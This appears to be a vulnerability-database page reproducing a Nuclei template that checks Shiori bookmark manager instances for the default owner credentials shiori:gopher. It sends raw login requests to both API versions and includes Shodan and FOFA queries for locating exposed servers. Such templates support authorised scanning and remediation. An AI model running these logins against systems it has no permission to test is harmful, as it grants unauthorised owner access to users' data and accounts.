shiori-default-login: Shiori - Default Login

2026-12-04 PoC Public

Description

Shiori was found using its default credentials shiori:gopher. Since v1.6.0 Shiori creates this owner account when it starts with an empty database. Earlier versions accept the same credentials as long as no owner account exists. The account has owner rights, so an attacker who logs in can read, change and delete every bookmark and archived page and manage all user accounts.

Details

Severity
高危
Published
PoC
Public

PoC

id: shiori-default-login

info:
  name: Shiori - Default Login
  author: MrCyberDuck
  severity: high
  description: |
    Shiori was found using its default credentials shiori:gopher. Since v1.6.0 Shiori creates this owner account when it starts with an empty database. Earlier versions accept the same credentials as long as no owner account exists. The account has owner rights, so an attacker who logs in can read, change and delete every bookmark and archived page and manage all user accounts.
  impact: |
    An attacker with the default credentials gains owner access to Shiori, allowing them to read and delete all saved bookmarks and archives and to create, change or remove user accounts.
  remediation: |
    Change the password of the shiori account, or create your own owner account and delete the default one.
  reference:
    - https://github.com/go-shiori/shiori/blob/v1.8.0/docs/faq.md#what-is-the-default-account-to-login-at-the-first-time-
    - https://github.com/go-shiori/shiori/blob/v1.8.0/internal/cmd/root.go
  classification:
    cwe-id: CWE-522
    cpe: cpe:2.3:a:go-shiori:shiori:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: go-shiori
    product: shiori
    shodan-query: 'http.title:"Shiori - Bookmarks Manager" OR http.title:"Login - Shiori"'
    fofa-query: 'title="Shiori - Bookmarks Manager" || title="Login - Shiori"'
  tags: shiori,default-login,vuln

variables:
  username: shiori
  password: gopher

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '(contains_all(body, "<title>Shiori - Bookmarks Manager</title>", "shiori-token") || contains_all(body, "<title>Login - Shiori</title>", "shiori-account"))'
        condition: and
        internal: true

  # Shiori v1.6.0 and later
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}","remember_me":false}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"ok\":true", "\"token\":\"")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username + ":" + password

  # Shiori v1.5.x and earlier
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}","remember":false}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"session\":\"", "\"username\":\"shiori\"", "\"owner\":true")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username + ":" + password
# digest: 4a0a0047304502207a1d8c77a5bcfd4c36cc1ceac1fa3b0e2149735942deea6d10bce83700639bcc022100f76ad25500d37b48daec267679b7b274610777eb7b98dcdfa639bb33bea90ad0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life